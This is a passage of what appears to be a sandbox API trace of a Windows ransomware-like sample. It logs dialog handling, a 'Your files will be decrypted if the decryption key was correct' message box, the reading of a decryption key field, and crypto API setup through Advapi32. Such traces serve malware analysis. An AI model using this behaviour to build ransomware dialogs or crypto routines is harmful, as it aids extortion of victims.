nIndex=-21) returned 0x0 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.303] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff810106f8, lParam=0x4) returned 0x0 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.303] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.303] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.303] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0036.303] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.303] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.303] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 0 [0036.303] TranslateMessage (lpMsg=0x26a4a5f4c0) returned 0 [0036.303] DispatchMessageW (lpMsg=0x26a4a5f4c0) returned 0x0 [0036.303] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.304] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.304] TranslateMessage (lpMsg=0x26a4a5f4c0) returned 0 [0036.304] DispatchMessageW (lpMsg=0x26a4a5f4c0) returned 0x0 [0036.304] GetForegroundWindow () returned 0x7004e [0036.304] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.304] GetCursorPos (in: lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320*(x=538, y=534)) returned 1 [0036.304] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320) returned 1 [0036.304] GetAsyncKeyState (vKey=1) returned 0 [0036.304] GetAsyncKeyState (vKey=2) returned 0 [0036.304] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.304] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.304] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.304] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.304] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.304] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.304] SetWindowTextW (hWnd=0x6018a, lpString="") returned 1 [0036.305] SendMessageW (hWnd=0x6018a, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0036.305] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.305] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.305] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.305] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.305] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.306] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0036.306] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0036.306] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.306] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0036.306] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0036.306] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.306] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.306] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0036.306] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0036.306] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.306] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0036.306] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0036.306] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.306] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.306] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0036.306] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0036.306] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.306] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0036.306] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0036.306] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.306] MessageBoxW (hWnd=0x0, lpText="Your files will be decrypted if the decryption key was correct", lpCaption="Decrypt files", uType=0x10040) returned 1 [0036.319] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.319] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x86, wParam=0x0, lParam=0x9017e) returned 0x1 [0036.319] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.319] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.319] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x6, wParam=0x0, lParam=0x9017e) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x20, wParam=0x301ea, lParam=0x2000001) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff810106f8, lParam=0x0) returned 0x1 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.321] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff810106f8, lParam=0x4) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.321] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.321] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5e790) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.321] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.321] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5e790) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec90) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff810106f8, lParam=0x0) returned 0x1 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.325] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff810106f8, lParam=0x4) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.325] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.325] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5e790) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.325] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.325] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5e790) returned 0x0 [0036.350] Shell_NotifyIconW (dwMessage=0x1, lpData=0x26a4a5e590) returned 1 [0036.351] KillTimer (hWnd=0x5002c, uIDEvent=0x1) returned 1 [0036.351] SetTimer (hWnd=0x5002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0036.351] GetForegroundWindow () returned 0x9017e [0036.351] GetWindowLongPtrW (hWnd=0x9017e, nIndex=-21) returned 0x26a4a5f330 [0036.396] GetForegroundWindow () returned 0x9017e [0036.396] GetWindowLongPtrW (hWnd=0x9017e, nIndex=-21) returned 0x26a4a5f330 [0036.445] GetForegroundWindow () returned 0x9017e [0036.445] GetWindowLongPtrW (hWnd=0x9017e, nIndex=-21) returned 0x26a4a5f330 [0036.495] GetForegroundWindow () returned 0x9017e [0036.495] GetWindowLongPtrW (hWnd=0x9017e, nIndex=-21) returned 0x26a4a5f330 [0036.525] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.525] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0036.560] GetForegroundWindow () returned 0x9017e [0036.560] GetWindowLongPtrW (hWnd=0x9017e, nIndex=-21) returned 0x26a4a5f330 [0036.614] GetForegroundWindow () returned 0x40208 [0036.614] GetWindowLongPtrW (hWnd=0x40208, nIndex=-21) returned 0x0 [0036.630] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.630] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0036.630] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.630] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0036.630] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.630] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0036.663] GetForegroundWindow () returned 0x9017e [0036.664] GetWindowLongPtrW (hWnd=0x9017e, nIndex=-21) returned 0x26a4a5f330 [0036.709] GetForegroundWindow () returned 0x9017e [0036.709] GetWindowLongPtrW (hWnd=0x9017e, nIndex=-21) returned 0x26a4a5f330 [0036.730] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.730] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x46, wParam=0x0, lParam=0x26a4a5eef0) returned 0x0 [0036.731] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.731] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x47, wParam=0x0, lParam=0x26a4a5eef0) returned 0x0 [0036.731] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.731] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0036.731] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0036.731] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.731] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0036.732] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.732] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.732] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0036.752] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.752] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.752] GetWindowLongW (hWnd=0x7004e, nIndex=-20) returned 256 [0036.752] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x84, wParam=0x0, lParam=0x2030378) returned 0x1 [0036.752] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.753] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.753] GetClientRect (in: hWnd=0x7004e, lpRect=0x26a4a5f170 | out: lpRect=0x26a4a5f170) returned 1 [0036.753] GetCursorPos (in: lpPoint=0x26a4a5f190 | out: lpPoint=0x26a4a5f190*(x=888, y=515)) returned 1 [0036.753] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f190 | out: lpPoint=0x26a4a5f190) returned 1 [0036.753] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0036.753] SetCursor (hCursor=0x10003) returned 0x10003 [0036.753] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.753] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.753] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.753] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x200, wParam=0x0, lParam=0x18d0237) returned 0x0 [0036.753] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.753] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.753] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.753] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.753] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff810106f8, lParam=0x0) returned 0x1 [0036.753] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.753] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.753] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.753] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.761] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.761] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff810106f8, lParam=0x4) returned 0x0 [0036.761] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.761] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.761] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.761] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.761] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.761] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.761] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.761] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0036.761] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.761] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.761] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.761] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0036.761] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.761] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.761] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.761] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.761] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.761] TranslateMessage (lpMsg=0x26a4a5f4c0) returned 0 [0036.761] DispatchMessageW (lpMsg=0x26a4a5f4c0) returned 0x0 [0036.761] GetForegroundWindow () returned 0x7004e [0036.761] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.761] GetCursorPos (in: lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320*(x=888, y=515)) returned 1 [0036.761] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320) returned 1 [0036.761] GetAsyncKeyState (vKey=1) returned 1 [0036.761] GetAsyncKeyState (vKey=2) returned 0 [0036.761] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.761] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0036.762] SendMessageW (hWnd=0x3011c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0036.762] GetWindowTextW (in: hWnd=0x3011c, lpString=0x26a4c8b6c0, nMaxCount=14 | out: lpString="Decryptionkey") returned 13 [0036.762] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.763] FindFirstFileW (in: lpFileName="C:\\PROGRA~1\\COMMON~1\\31236356313123635631", lpFindFileData=0x26a4a5ebd0 | out: lpFindFileData=0x26a4a5ebd0) returned 0x26a4c769f0 [0036.763] FindClose (in: hFindFile=0x26a4c769f0 | out: hFindFile=0x26a4c769f0) returned 1 [0036.763] PeekMessageW (in: lpMsg=0x26a4a5f1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f1a0) returned 0 [0036.763] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0036.763] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.763] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0036.763] PeekMessageW (in: lpMsg=0x26a4a5e870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e870) returned 0 [0036.764] GetLastError () returned 0x0 [0036.764] SetLastError (dwErrCode=0x0) [0036.764] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.764] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x7ffe2a590000 [0036.764] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.764] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0036.765] PeekMessageW (in: lpMsg=0x26a4a5eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eb60) returned 0 [0036.765] PeekMessageW (in: lpMsg=0x26a4a5eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eb60) returned 0 [0036.765] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.765] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.765] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0036.765] PeekMessageW (in: lpMsg=0x26a4a5e5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e5e0) returned 0 [0036.766] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0036.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0036.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x26a4c92410, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0036.766] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContext") returned 0x0 [0036.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0036.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x26a4c92250, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0036.766] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContextA") returned 0x7ffe2a59f478 [0036.767] CryptAcquireContextA (in: phProv=0x26a4a5e5d0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x26a4a5e5d0*=0x26a4cb6e00) returned 1 [0036.775] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.775] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.775] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0036.775] PeekMessageW (in: lpMsg=0x26a4a5eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eb60) returned 0 [0036.775] PeekMessageW (in: lpMsg=0x26a4a5eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eb60) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5ee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ee80) returned 0 [0036.776] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eb60) returned 0 [0036.776] PeekMessageW (in: lpMsg=0x26a4a5eb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eb60) returned 0 [0036.776] PeekMessageW 